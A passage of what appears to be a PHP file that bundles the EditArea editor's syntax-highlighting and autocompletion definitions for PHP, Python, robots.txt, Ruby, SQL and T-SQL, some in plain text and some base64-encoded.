		"default": {	// the name of this definition group. It's posisble to have different rules inside the same definition file
			"REGEXP": { "before_word": "[^a-zA-Z0-9_]|^"	// \\s|\\.|
						,"possible_words_letters": "[a-zA-Z0-9_\$]+"
						,"letter_after_word_must_match": "[^a-zA-Z0-9_]|$"
						,"prefix_separator": "\\-\\>|\\:\\:"
					}
			,"CASE_SENSITIVE": true
			,"MAX_TEXT_LENGTH": 100		// the maximum length of the text being analyzed before the cursor position
			,"KEYWORDS": {
					'': [	// the prefix of thoses items
						/**
						 * 0 : the keyword the user is typing
						 * 1 : (optionnal) the string inserted in code ("{@}" being the new position of the cursor, "§" beeing the equivalent to the value the typed string indicated if the previous )
						 * 		If empty the keyword will be displayed
						 * 2 : (optionnal) the text that appear in the suggestion box (if empty, the string to insert will be displayed)
						 */
						 ['$_POST']
			    		,['$_GET']
			    		,['$_SESSION']
			    		,['$_SERVER']
			    		,['$_FILES']
			    		,['$_ENV']
			    		,['$_COOKIE']
			    		,['$_REQUEST']
			    		// magic methods
			    		,['__construct', '§( {@} )']
			    		,['__destruct', '§( {@} )']
			    		,['__sleep', '§( {@} )']
			    		,['__wakeup', '§( {@} )']
			    		,['__toString', '§( {@} )']
			    		// include
			    		,['include', '§ "{@}";']
			    		,['include_once', '§ "{@}";']
			    		,['require', '§ "{@}";']
			    		,['require_once', '§ "{@}";']
			    		// statements
			    		,['for', '§( {@} )']
			    		,['foreach', '§( {@} )']
			    		,['if', '§( {@} )']
			    		,['elseif', '§( {@} )']
			    		,['while', '§( {@} )']
			    		,['switch', '§( {@} )']
			    		,['break']
			    		,['case']
			    		,['continue']
			    		,['do']
			    		,['else']
			    		,['endif']
			    		,['endswitch']
			    		,['endwhile']
			    		,['return']
			    		// function
			    		,['unset', '§( {@} )']
					]
				}
			}
		,"live": {	
			
			// class NAME: /class\W+([a-z]+)\W+/gi
			// method: /^(public|private|protected)?\s*function\s+([a-z][a-z0-9\_]*)\s*(\([^\{]*\))/gmi
			// static: /^(public|private|protected)?\s+static\s+(public|private|protected)?\s*function\s+([a-z][a-z0-9\_]*)\s*(\([^\{]*\))/gmi 
			// attributes: /(\$this\-\>|(?:var|public|protected|private)\W+\$)([a-z0-9\_]+)(?!\()\b/gi 
			// 		v1 : /(\$this\-\>|var\W+|public\W+|protected\W+|private\W+)([a-z0-9\_]+)\W*(=|;)/gi 
			// var type: /(\$(this\-\>)?[a-z0-9\_]+)\s*\=\s*new\s+([a-z0-9\_])+/gi 
			
			
			"REGEXP": { "before_word": "[^a-zA-Z0-9_]|^"	// \\s|\\.|
						,"possible_words_letters": "[a-zA-Z0-9_\$]+"
						,"letter_after_word_must_match": "[^a-zA-Z0-9_]|$"
						,"prefix_separator": "\\-\\>"
					}
			,"CASE_SENSITIVE": true
			,"MAX_TEXT_LENGTH": 100		// the maximum length of the text being analyzed before the cursor position
			,"KEYWORDS": {
					'$this': [	// the prefix of thoses items
						['test']
					]
				}
			}
	}
};
',
  './AJAX-B/edit_area/reg_syntax/python.js' => '/**
 * Python syntax v 1.1 
 * 
 * v1.1 by Andre Roberge (2006/12/27)
 *   
**/
editAreaLoader.load_syntax["python"] = {
	'COMMENT_SINGLE' : {1 : '#'}
	,'COMMENT_MULTI' : {}
	,'QUOTEMARKS' : {1: "'", 2: '"'}
	,'KEYWORD_CASE_SENSITIVE' : true
	,'KEYWORDS' : {
		/*
		** Set 1: reserved words
		** http://python.org/doc/current/ref/keywords.html
		** Note: 'as' and 'with' have been added starting with Python 2.5
		*/
		'reserved' : [
			'and', 'as', 'assert', 'break', 'class', 'continue', 'def', 'del', 'elif',
			'else', 'except', 'exec', 'finally', 'for', 'from', 'global', 'if', 
			'import', 'is', 'in', 'lambda', 'not', 'or', 'pass', 'print', 'raise',
			'return', 'try', 'while', 'with', 'yield'
			//the following are *almost* reserved; we'll treat them as such
			, 'False', 'True', 'None'
		]
		/*
		** Set 2: builtins
		** http://python.org/doc/current/lib/built-in-funcs.html
		*/	
		,'builtins' : [
			'__import__', 'abs', 'basestring', 'bool', 'callable', 'chr', 'classmethod', 'cmp', 
			'compile', 'complex', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 
			'file', 'filter', 'float', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help',
			'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'list', 'locals',
			'long', 'map', 'max', 'min', 'object', 'oct', 'open', 'ord', 'pow', 'property', 'range',
			'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice',
			'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 
			'vars', 'xrange', 'zip',
			// Built-in constants: http://www.python.org/doc/2.4.1/lib/node35.html
			//'False', 'True', 'None' have been included in 'reserved'
			'NotImplemented', 'Ellipsis',
			// Built-in Exceptions: http://python.org/doc/current/lib/module-exceptions.html
			'Exception', 'StandardError', 'ArithmeticError', 'LookupError', 'EnvironmentError',
			'AssertionError', 'AttributeError', 'EOFError', 'FloatingPointError', 'IOError',
			'ImportError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'MemoryError', 'NameError',
			'NotImplementedError', 'OSError', 'OverflowError', 'ReferenceError', 'RuntimeError',
			'StopIteration', 'SyntaxError', 'SystemError', 'SystemExit', 'TypeError',
			'UnboundlocalError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError',
			'UnicodeTranslateError', 'ValueError', 'WindowsError', 'ZeroDivisionError', 'Warning',
			'UserWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning',
			'RuntimeWarning', 'FutureWarning',		
			// we will include the string methods as well
			// http://python.org/doc/current/lib/string-methods.html
			'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs',
			'find', 'index', 'isalnum', 'isaplpha', 'isdigit', 'islower', 'isspace', 'istitle',
			'isupper', 'join', 'ljust', 'lower', 'lstrip', 'replace', 'rfind', 'rindex', 'rjust',
			'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title',
			'translate', 'upper', 'zfill'
		]
		/*
		** Set 3: standard library
		** http://python.org/doc/current/lib/modindex.html
		*/
		,'stdlib' : [
			'__builtin__', '__future__', '__main__', '_winreg', 'aifc', 'AL', 'al', 'anydbm',
			'array', 'asynchat', 'asyncore', 'atexit', 'audioop', 'base64', 'BaseHTTPServer',
			'Bastion', 'binascii', 'binhex', 'bisect', 'bsddb', 'bz2', 'calendar', 'cd', 'cgi',
			'CGIHTTPServer', 'cgitb', 'chunk', 'cmath', 'cmd', 'code', 'codecs', 'codeop',
			'collections', 'colorsys', 'commands', 'compileall', 'compiler', 'compiler',
			'ConfigParser', 'Cookie', 'cookielib', 'copy', 'copy_reg', 'cPickle', 'crypt',
			'cStringIO', 'csv', 'curses', 'datetime', 'dbhash', 'dbm', 'decimal', 'DEVICE',
			'difflib', 'dircache', 'dis', 'distutils', 'dl', 'doctest', 'DocXMLRPCServer', 'dumbdbm',
			'dummy_thread', 'dummy_threading', 'email', 'encodings', 'errno', 'exceptions', 'fcntl',
			'filecmp', 'fileinput', 'FL', 'fl', 'flp', 'fm', 'fnmatch', 'formatter', 'fpectl',
			'fpformat', 'ftplib', 'gc', 'gdbm', 'getopt', 'getpass', 'gettext', 'GL', 'gl', 'glob',
			'gopherlib', 'grp', 'gzip', 'heapq', 'hmac', 'hotshot', 'htmlentitydefs', 'htmllib',
			'HTMLParser', 'httplib', 'imageop', 'imaplib', 'imgfile', 'imghdr', 'imp', 'inspect',
			'itertools', 'jpeg', 'keyword', 'linecache', 'locale', 'logging', 'mailbox', 'mailcap',
			'marshal', 'math', 'md5', 'mhlib', 'mimetools', 'mimetypes', 'MimeWriter', 'mimify',
			'mmap', 'msvcrt', 'multifile', 'mutex', 'netrc', 'new', 'nis', 'nntplib', 'operator',
			'optparse', 'os', 'ossaudiodev', 'parser', 'pdb', 'pickle', 'pickletools', 'pipes',
			'pkgutil', 'platform', 'popen2', 'poplib', 'posix', 'posixfile', 'pprint', 'profile',
			'pstats', 'pty', 'pwd', 'py_compile', 'pyclbr', 'pydoc', 'Queue', 'quopri', 'random',
			're', 'readline', 'repr', 'resource', 'rexec', 'rfc822', 'rgbimg', 'rlcompleter',
			'robotparser', 'sched', 'ScrolledText', 'select', 'sets', 'sgmllib', 'sha', 'shelve',
			'shlex', 'shutil', 'signal', 'SimpleHTTPServer', 'SimpleXMLRPCServer', 'site', 'smtpd',
			'smtplib', 'sndhdr', 'socket', 'SocketServer', 'stat', 'statcache', 'statvfs', 'string',
			'StringIO', 'stringprep', 'struct', 'subprocess', 'sunau', 'SUNAUDIODEV', 'sunaudiodev',
			'symbol', 'sys', 'syslog', 'tabnanny', 'tarfile', 'telnetlib', 'tempfile', 'termios',
			'test', 'textwrap', 'thread', 'threading', 'time', 'timeit', 'Tix', 'Tkinter', 'token',
			'tokenize', 'traceback', 'tty', 'turtle', 'types', 'unicodedata', 'unittest', 'urllib2',
			'urllib', 'urlparse', 'user', 'UserDict', 'UserList', 'UserString', 'uu', 'warnings',
			'wave', 'weakref', 'webbrowser', 'whichdb', 'whrandom', 'winsound', 'xdrlib', 'xml',
			'xmllib', 'xmlrpclib', 'zipfile', 'zipimport', 'zlib'

		]
		/*
		** Set 4: special methods
		** http://python.org/doc/current/ref/specialnames.html
		*/
		,'special' : [
			// Basic customization: http://python.org/doc/current/ref/customization.html
			'__new__', '__init__', '__del__', '__repr__', '__str__', 
			'__lt__', '__le__', '__eq__', '__ne__', '__gt__', '__ge__', '__cmp__', '__rcmp__',
			'__hash__', '__nonzero__', '__unicode__', '__dict__',
			// Attribute access: http://python.org/doc/current/ref/attribute-access.html
			'__setattr__', '__delattr__', '__getattr__', '__getattribute__', '__get__', '__set__',
			'__delete__', '__slots__',
			// Class creation, callable objects
			'__metaclass__', '__call__', 
			// Container types: http://python.org/doc/current/ref/sequence-types.html
			'__len__', '__getitem__', '__setitem__', '__delitem__', '__iter__', '__contains__',
			'__getslice__', '__setslice__', '__delslice__',
			// Numeric types: http://python.org/doc/current/ref/numeric-types.html
			'__abs__','__add__','__and__','__coerce__','__div__','__divmod__','__float__',
			'__hex__','__iadd__','__isub__','__imod__','__idiv__','__ipow__','__iand__',
			'__ior__','__ixor__', '__ilshift__','__irshift__','__invert__','__int__',
			'__long__','__lshift__',
			'__mod__','__mul__','__neg__','__oct__','__or__','__pos__','__pow__',
			'__radd__','__rdiv__','__rdivmod__','__rmod__','__rpow__','__rlshift__','__rrshift__',
			'__rshift__','__rsub__','__rmul__','__repr__','__rand__','__rxor__','__ror__',
			'__sub__','__xor__'
		]
	}
	,'OPERATORS' :[
		'+', '-', '/', '*', '=', '<', '>', '%', '!', '&', ';', '?', '`', ':', ','
	]
	,'DELIMITERS' :[
		'(', ')', '[', ']', '{', '}'
	]
	,'STYLES' : {
		'COMMENTS': 'color: #AAAAAA;'
		,'QUOTESMARKS': 'color: #660066;'
		,'KEYWORDS' : {
			'reserved' : 'color: #0000FF;'
			,'builtins' : 'color: #009900;'
			,'stdlib' : 'color: #009900;'
			,'special': 'color: #006666;'
			}
		,'OPERATORS' : 'color: #993300;'
		,'DELIMITERS' : 'color: #993300;'
				
	}
};
',
  './AJAX-B/edit_area/reg_syntax/robotstxt.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbInJvYm90c3R4dCJdID0gew0KCSdDT01NRU5UX1NJTkdMRScgOiB7MSA6ICcjJ30sDQoJJ0NPTU1FTlRfTVVMVEknIDoge30sDQoJJ1FVT1RFTUFSS1MnIDogW10sDQoJJ0tFWVdPUkRfQ0FTRV9TRU5TSVRJVkUnIDogZmFsc2UsDQoJJ0tFWVdPUkRTJyA6IHsNCgkJJ2F0dHJpYnV0ZXMnIDogWydVc2VyLWFnZW50JywgJ0Rpc2FsbG93JywgJ0FsbG93JywgJ0NyYXdsLWRlbGF5J10sDQoJCSd2YWx1ZXMnIDogWycqJ10sDQoJCSdzcGVjaWFscycgOiBbJyonXQ0KCX0sDQoJJ09QRVJBVE9SUycgOlsnOiddLA0KCSdERUxJTUlURVJTJyA6W10sDQoJJ1NUWUxFUycgOiB7DQoJCSdDT01NRU5UUyc6ICdjb2xvcjogI0FBQUFBQTsnLA0KCQknUVVPVEVTTUFSS1MnOiAnY29sb3I6ICM2MzgxRjg7JywNCgkJJ0tFWVdPUkRTJyA6IHsNCgkJCSdhdHRyaWJ1dGVzJyA6ICdjb2xvcjogIzQ4QkRERjsnLA0KCQkJJ3ZhbHVlcycgOiAnY29sb3I6ICMyQjYwRkY7JywNCgkJCSdzcGVjaWFscycgOiAnY29sb3I6ICNGRjAwMDA7Jw0KCQkJfSwNCgknT1BFUkFUT1JTJyA6ICdjb2xvcjogI0ZGMDBGRjsnLA0KCSdERUxJTUlURVJTJyA6ICdjb2xvcjogIzYwQ0EwMDsnCQkJDQoJfQ0KfTsNCg==',
  './AJAX-B/edit_area/reg_syntax/ruby.js' => 'LyoqDQogKiBSdWJ5IHN5bnRheCB2IDEuMCANCiAqIA0KICogdjEuMCBieSBQYXRyaWNlIERlIFNhaW50IFN0ZWJhbiAoMjAwNy8wMS8wMykNCiAqICAgDQoqKi8NCmVkaXRBcmVhTG9hZGVyLmxvYWRfc3ludGF4WyJydWJ5Il0gPSB7DQoJJ0NPTU1FTlRfU0lOR0xFJyA6IHsxIDogJyMnfQ0KCSwnQ09NTUVOVF9NVUxUSScgOiB7fQ0KCSwnUVVPVEVNQVJLUycgOiB7MTogIiciLCAyOiAnIid9DQoJLCdLRVlXT1JEX0NBU0VfU0VOU0lUSVZFJyA6IHRydWUNCgksJ0tFWVdPUkRTJyA6IHsNCgkJJ3Jlc2VydmVkJyA6IFsNCgkJCSdhbGlhcycsICdhbmQnLCAnQkVHSU4nLCAnYmVnaW4nLCAnYnJlYWsnLCAnY2FzZScsICdjbGFzcycsICdkZWYnLCAnZGVmaW5lZCcsICdkbycsICdlbHNlJywNCgkJCSdlbHNpZicsICdFTkQnLCAnZW5kJywgJ2Vuc3VyZScsICdmYWxzZScsICdmb3InLCAnaWYnLCANCgkJCSdpbicsICdtb2R1bGUnLCAnbmV4dCcsICdub3QnLCAnb3InLCAncmVkbycsICdyZXNjdWUnLCAncmV0cnknLA0KCQkJJ3JldHVybicsICdzZWxmJywgJ3N1cGVyJywgJ3RoZW4nLCAndHJ1ZScsICd1bmRlZicsICd1bmxlc3MnLCAndW50aWwnLCAnd2hlbicsICd3aGlsZScsICd5aWVsZCcNCgkJXQ0KCX0NCgksJ09QRVJBVE9SUycgOlsNCgkJJysnLCAnLScsICcvJywgJyonLCAnPScsICc8JywgJz4nLCAnJScsICchJywgJyYnLCAnOycsICc/JywgJ2AnLCAnOicsICcsJw0KCV0NCgksJ0RFTElNSVRFUlMnIDpbDQoJCScoJywgJyknLCAnWycsICddJywgJ3snLCAnfScNCgldCgksJ1JFR0VYUFMnIDogewoJCSdjb25zdGFudHMnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCkoW0EtWl1cXHcqKSgpJw0KCQkJLCdjbGFzcycgOiAnY29uc3RhbnRzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgDQoJCX0KCQksJ3ZhcmlhYmxlcycgOiB7DQoJCQknc2VhcmNoJyA6ICcoKShbXCRcQFwlXStcXHcrKSgpJw0KCQkJLCdjbGFzcycgOiAndmFyaWFibGVzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgDQoJCX0KCQksJ251bWJlcnMnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCkoLT9bMC05XSspKCknDQoJCQksJ2NsYXNzJyA6ICdudW1iZXJzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScgDQoJCX0KCQksJ3N5bWJvbHMnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCkoOlxcdyspKCknDQoJCQksJ2NsYXNzJyA6ICdzeW1ib2xzJw0KCQkJLCdtb2RpZmllcnMnIDogJ2cnDQoJCQksJ2V4ZWN1dGUnIDogJ2JlZm9yZScNCgkJfQoJfQ0KCSwnU1RZTEVTJyA6IHsNCgkJJ0NPTU1FTlRTJzogJ2NvbG9yOiAjQUFBQUFBOycNCgkJLCdRVU9URVNNQVJLUyc6ICdjb2xvcjogIzY2MDA2NjsnDQoJCSwnS0VZV09SRFMnIDogew0KCQkJJ3Jlc2VydmVkJyA6ICdmb250LXdlaWdodDogYm9sZDsgY29sb3I6ICMwMDAwRkY7Jw0KCQkJfQ0KCQksJ09QRVJBVE9SUycgOiAnY29sb3I6ICM5OTMzMDA7Jw0KCQksJ0RFTElNSVRFUlMnIDogJ2NvbG9yOiAjOTkzMzAwOycNCgkJLCdSRUdFWFBTJyA6IHsKCQkJJ3ZhcmlhYmxlcycgOiAnY29sb3I6ICNFMEJENTQ7JwoJCQksJ251bWJlcnMnIDogJ2NvbG9yOiBncmVlbjsnCgkJCSwnY29uc3RhbnRzJyA6ICdjb2xvcjogIzAwQUEwMDsnCgkJCSwnc3ltYm9scycgOiAnY29sb3I6ICM4NzlFRkE7JwoJCX0JDQoJfQ0KfTsNCg==',
  './AJAX-B/edit_area/reg_syntax/sql.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbInNxbCJdID0gew0KCSdDT01NRU5UX1NJTkdMRScgOiB7MSA6ICctLSd9DQoJLCdDT01NRU5UX01VTFRJJyA6IHsnLyonIDogJyovJ30NCgksJ1FVT1RFTUFSS1MnIDogezE6ICInIiwgMjogJyInLCAzOiAnYCd9DQoJLCdLRVlXT1JEX0NBU0VfU0VOU0lUSVZFJyA6IGZhbHNlDQoJLCdLRVlXT1JEUycgOiB7DQoJCSdzdGF0ZW1lbnRzJyA6IFsNCgkJCSdzZWxlY3QnLCAnU0VMRUNUJywgJ3doZXJlJywgJ29yZGVyJywgJ2J5JywNCgkJCSdpbnNlcnQnLCAnZnJvbScsICd1cGRhdGUnLCAnZ3JhbnQnLCAnbGVmdCBqb2luJywgJ3JpZ2h0IGpvaW4nLCANCiAgICAgICAgICAgICd1bmlvbicsICdncm91cCcsICdoYXZpbmcnLCAnbGltaXQnLCAnYWx0ZXInLCAnTElLRScsJ0lOJywnQ0FTRScNCgkJXQ0KCQksJ3Jlc2VydmVkJyA6IFsNCgkJCSdudWxsJywgJ2VudW0nLCAnaW50JywgJ2Jvb2xlYW4nLCAnYWRkJywgJ3ZhcmNoYXInDQoJCQkNCgkJXQ0KCQksJ2Z1bmN0aW9ucycgOiBbDQogICAnQUJTJywnQUNPUycsJ0FERERBVEUnLCdBRERUSU1FJywnQUVTX0RFQ1JZUFQnLCdBRVNfRU5DUllQVCcsJ0FTQ0lJJywnQVNJTicsJ0FUQU4yIEFUQU4nLCdBVEFOJywnQVZHJywnQkVOQ0hNQVJLJywnRElTVElOQ1QnLCdCSU4nLCdCSVRfQU5EJywnQklUX0NPVU5UJywnQklUX0xFTkdUSCcsJ0JJVF9PUicsJ0JJVF9YT1InLCdDQVNUJywnQ0VJTElORyBDRUlMJywnQ0hBUl9MRU5HVEgnLCdDSEFSJywNCidDSEFSQUNURVJfTEVOR1RIJywnQ0hBUlNFVCcsJ0NPQUxFU0NFJywnQ09FUkNJQklMSVRZJywnQ09MTEFUSU9OJywnQ09NUFJFU1MnLCdDT05DQVRfV1MnLCdDT05DQVQnLCdDT05ORUNUSU9OX0lEJywnQ09OVicsJ0NPTlZFUlRfVFonLCdDT1MnLCdDT1QnLCdDT1VOVCcsJ0NSQzMyJywnQ1VSREFURScsJ0NVUlJFTlRfREFURScsJ0NVUlJFTlRfVElNRScsJ0NVUlJFTlRfVElNRVNUQU1QJywnQ1VSUkVOVF9VU0VSJywnQ1VSVElNRScsJ0RBVEFCQVNFJywnREFURV9BREQnLCdEQVRFX0ZPUk1BVCcsJ0RBVEVfU1VCJywnREFURScsJ0RBVEVESUZGJywnREFZJywnREFZTkFNRScsJ0RBWU9GTU9OVEgnLA0KJ0RBWU9GV0VFSycsJ0RBWU9GWUVBUicsJ0RFQ09ERScsJ0RFRkFVTFQnLCdERUdSRUVTJywnREVTX0RFQ1JZUFQnLCdERVNfRU5DUllQVCcsJ0VMVCcsJ0VOQ09ERScsJ0VOQ1JZUFQnLCdFWFAnLCdFWFBPUlRfU0VUJywnRVhUUkFDVCcsJ0ZJRUxEJywnRklORF9JTl9TRVQnLCdGTE9PUicsJ0ZPUk1BVCcsJ0ZPVU5EX1JPV1MnLCdGUk9NX0RBWVMnLCdGUk9NX1VOSVhUSU1FJywnR0VUX0ZPUk1BVCcsJ0dFVF9MT0NLJywnR1JFQVRFU1QnLCdHUk9VUF9DT05DQVQnLCdIRVgnLCdIT1VSJywnSUYnLCdJRk5VTEwnLCdJTkVUX0FUT04nLCdJTkVUX05UT0EnLA0KJ0lOU0VSVCcsJ0lOU1RSJywnSU5URVJWQUwnLCdJU19GUkVFX0xPQ0snLCdJU19VU0VEX0xPQ0snLCdJU05VTEwnLCdMQVNUX0RBWScsJ0xBU1RfSU5TRVJUX0lEJywnTENBU0UnLCdMRUFTVCcsJ0xFRlQnLCdMRU5HVEgnLCdMTicsJ0xPQURfRklMRScsJ0xPQ0FMVElNRScsJ0xPQ0FMVElNRVNUQU1QJywnTE9DQVRFJywnTE9HMTAnLCdMT0cyJywnTE9HJywnTE9XRVInLCdMUEFEJywnTFRSSU0nLCdNQUtFX1NFVCcsJ01BS0VEQVRFJywnTUFLRVRJTUUnLCdNQVNURVJfUE9TX1dBSVQnLCdNQVgnLCdNRDUnLCdNSUNST1NFQ09ORCcsDQonTUlEJywnTUlOJywnTUlOVVRFJywnTU9EJywnTU9OVEgnLCdNT05USE5BTUUnLCdOT1cnLCdOVUxMSUYnLCdPQ1QnLCdPQ1RFVF9MRU5HVEgnLCdPTERfUEFTU1dPUkQnLCdPUkQnLCdQQVNTV09SRCcsJ1BFUklPRF9BREQnLCdQRVJJT0RfRElGRicsJ1BJJywnUE9TSVRJT04nLCdQT1cnLCdQT1dFUicsJ1BST0NFRFVSRSBBTkFMWVNFJywnUVVBUlRFUicsJ1FVT1RFJywnUkFESUFOUycsJ1JBTkQnLCdSRUxFQVNFX0xPQ0snLCdSRVBFQVQnLCdSRVBMQUNFJywnUkVWRVJTRScsJ1JJR0hUJywnUk9VTkQnLA0KJ1JQQUQnLCdSVFJJTScsJ1NFQ19UT19USU1FJywnU0VDT05EJywnU0VTU0lPTl9VU0VSJywnU0hBMScsJ1NIQScsJ1NJR04nLCdTSU4nLCdTT1VOREVYJywnU09VTkRTIExJS0UnLCdTUEFDRScsJ1NRUlQnLCdTVEQnLCdTVERERVYnLCdTVFJfVE9fREFURScsJ1NUUkNNUCcsJ1NVQkRBVEUnLCdTVUJTVFJJTkdfSU5ERVgnLCdTVUJTVFJJTkcnLCdTVUJTVFInLCdTVUJUSU1FJywnU1VNJywnU1lTREFURScsJ1NZU1RFTV9VU0VSJywnVEFOJywnVElNRV9GT1JNQVQnLCdUSU1FX1RPX1NFQycsJ1RJTUUnLCdUSU1FRElGRicsDQonVElNRVNUQU1QJywnVE9fREFZUycsJ1RSSU0nLCdUUlVOQ0FURScsJ1VDQVNFJywnVU5DT01QUkVTUycsJ1VOQ09NUFJFU1NFRF9MRU5HVEgnLCdVTkhFWCcsJ1VOSVhfVElNRVNUQU1QJywnVVBQRVInLCdVU0VSJywnVVRDX0RBVEUnLCdVVENfVElNRScsJ1VUQ19USU1FU1RBTVAnLCdVVUlEJywnVkFMVUVTJywnVkFSSUFOQ0UnLCdXRUVLJywnV0VFS0RBWScsJ1dFRUtPRllFQVInLCdZRUFSJywnWUVBUldFRUsnDQoJCV0NCgl9DQoJLCdPUEVSQVRPUlMnIDpbDQogICAgICdBTkQnLCcmJicsJ0JFVFdFRU4nLCdCSU5BUlknLCcmJywnfCcsJ14nLCcvJywnRElWJywnPD0+JywnPScsJz49JywnPicsJzw8JywnPj4nLCdJUycsJ05VTEwnLCc8PScsJzwnLCctJywnJScsJyE9JywnPD4nLCchJywnfHwnLCdPUicsJysnLCdSRUdFWFAnLCdSTElLRScsJ1hPUicsJ34nLCcqJw0KCV0NCgksJ0RFTElNSVRFUlMnIDpbDQoJCScoJywgJyknLCAnWycsICddJywgJ3snLCAnfScNCgldDQoJLCdSRUdFWFBTJyA6IHsNCgkJLy8gaGlnaGxpZ2h0IGFsbCB2YXJpYWJsZXMgKEAuLi4pDQoJCSd2YXJpYWJsZXMnIDogew0KCQkJJ3NlYXJjaCcgOiAnKCkoXFxAXFx3KykoKScNCgkJCSwnY2xhc3MnIDogJ3ZhcmlhYmxlcycNCgkJCSwnbW9kaWZpZXJzJyA6ICdnJw0KCQkJLCdleGVjdXRlJyA6ICdiZWZvcmUnIC8vIGJlZm9yZSBvciBhZnRlcg0KCQl9DQoJfQ0KCSwnU1RZTEVTJyA6IHsNCgkJJ0NPTU1FTlRTJzogJ2NvbG9yOiAjQUFBQUFBOycNCgkJLCdRVU9URVNNQVJLUyc6ICdjb2xvcjogIzg3OUVGQTsnDQoJCSwnS0VZV09SRFMnIDogew0KCQkJJ3Jlc2VydmVkJyA6ICdjb2xvcjogIzQ4QkRERjsnDQoJCQksJ2Z1bmN0aW9ucycgOiAnY29sb3I6ICMwMDQwRkQ7Jw0KCQkJLCdzdGF0ZW1lbnRzJyA6ICdjb2xvcjogIzYwQ0EwMDsnDQoJCQl9DQoJCSwnT1BFUkFUT1JTJyA6ICdjb2xvcjogI0ZGMDBGRjsnDQoJCSwnREVMSU1JVEVSUycgOiAnY29sb3I6ICMyQjYwRkY7Jw0KCQksJ1JFR0VYUFMnIDogew0KCQkJJ3ZhcmlhYmxlcycgOiAnY29sb3I6ICNFMEJENTQ7Jw0KCQl9CQkNCgl9DQp9Ow0K',
  './AJAX-B/edit_area/reg_syntax/tsql.js' => 'ZWRpdEFyZWFMb2FkZXIubG9hZF9zeW50YXhbInRzcWwiXSA9IHsNCgknQ09NTUVOVF9TSU5HTEUnIDogezEgOiAnLS0nfQ0KCSwnQ09NTUVOVF9NVUxUSScgOiB7Jy8qJyA6ICcqLyd9DQoJLCdRVU9URU1BUktTJyA6IHsxOiAiJyIgfQ0KCSwnS0VZV09SRF9DQVNFX1NFTlNJVElWRScgOiBmYWxzZQ0KCSwnS0VZV09SRFMnIDogew0KCQknc3RhdGVtZW50cyc6IFsNCgkJICAgICdBREQnLCAnRVhDRVBUJywgJ1BFUkNFTlQnLCAnRVhFQycsICdQTEFOJywgJ0FMVEVSJywgJ0VYRUNVVEUnLCAnUFJFQ0lTSU9OJywNCgkJICAgICdQUklNQVJZJywgJ0VYSVQnLCAnUFJJTlQnLCAnQVMnLCAnRkVUQ0gnLCAnUFJPQycsICdBU0MnLA0KCQkgICAgJ0ZJTEUnLCAnUFJPQ0VEVVJFJywgJ0FVVEhPUklaQVRJT04nLCAnRklMTEZBQ1RPUicsICdQVUJMSUMnLCAnQkFDS1VQJywgJ0ZPUicsICdSQUlTRVJST1InLA0KCQkgICAgJ0JFR0lOJywgJ0ZPUkVJR04nLCAnUkVBRCcsICdGUkVFVEVYVCcsICdSRUFEVEVYVCcsICdCUkVBSycsICdGUkVFVEVYVFRBQkxFJywNCgkJICAgICdSRUNPTkZJR1VSRScsICdCUk9XU0UnLCAnRlJPTScsICdSRUZFUkVOQ0VTJywgJ0JVTEsnLCAnRlVMTCcsICdSRVBMSUNBVElPTicsICdCWScsDQoJCSAgICAnRlVOQ1RJT04nLCAnUkVTVE9SRScsICdDQVNDQURFJywgJ0dPVE8nLCAnUkVTVFJJQ1QnLCAnQ0FTRScsICdHUkFOVCcsICdSRVRVUk4nLA0KCQkgICAgJ0NIRUNLJywgJ0dST1VQJywgJ1JFVk9LRScsICdDSEVDS1BPSU5UJywgJ0hBVklORycsICdSSUdIVCcsICdDTE9TRScsICdIT0xETE9DSycsICdST0xMQkFDSycsDQoJCSAgICAnQ0xVU1RFUkVEJywgJ0lERU5USVRZJywgJ1JPV0NPVU5UJywgJ0lERU5USVRZX0lOU0VSVCcsICdST1dHVUlEQ09MJywgJ0NPTExBVEUnLCANCgkJICAgICdJREVOVElUWUNPTCcsICdSVUxFJywgJ0NPTFVNTicsICdJRicsICdTQVZFJywgJ0NPTU1JVCcsICdTQ0hFTUEnLCAnQ09NUFVURScsICdJTkRFWCcsDQoJCSAgICAnU0VMRUNUJywgJ0NPTlNUUkFJTlQnLCAnQ09OVEFJTlMnLCAnSU5TRVJUJywgJ1NFVCcsDQoJCSAgICAnQ09OVEFJTlNUQUJMRScsICdJTlRFUlNFQ1QnLCAnU0VUVVNFUicsICdDT05USU5VRScsICdJTlRPJywgJ1NIVVRET1dOJywgJ1NPTUUnLA0KCQkgICAgJ0NSRUFURScsICdTVEFUSVNUSUNTJywgJ0tFWScsICdDVVJSRU5UJywgJ0tJTEwnLCAnVEFCTEUnLA0KCQkgICAgJ0NVUlJFTlRfREFURScsICdURVhUU0laRScsICdDVVJSRU5UX1RJTUUnLCAnVEhFTicsICdMSU5FTk8nLA0KCQkgICAgJ1RPJywgJ0xPQUQnLCAnVE9QJywgJ0NVUlNPUicsICdOQVRJT05BTCcsICdUUkFOJywgJ0RBVEFCQVNFJywgJ05PQ0hFQ0snLCANCgkJICAgICdUUkFOU0FDVElPTicsICdEQkNDJywgJ05PTkNMVVNURVJFRCcsICdUUklHR0VSJywgJ0RFQUxMT0NBVEUnLCAnVFJVTkNBVEUnLA0KCQkgICAgJ0RFQ0xBUkUnLCAnVFNFUVVBTCcsICdERU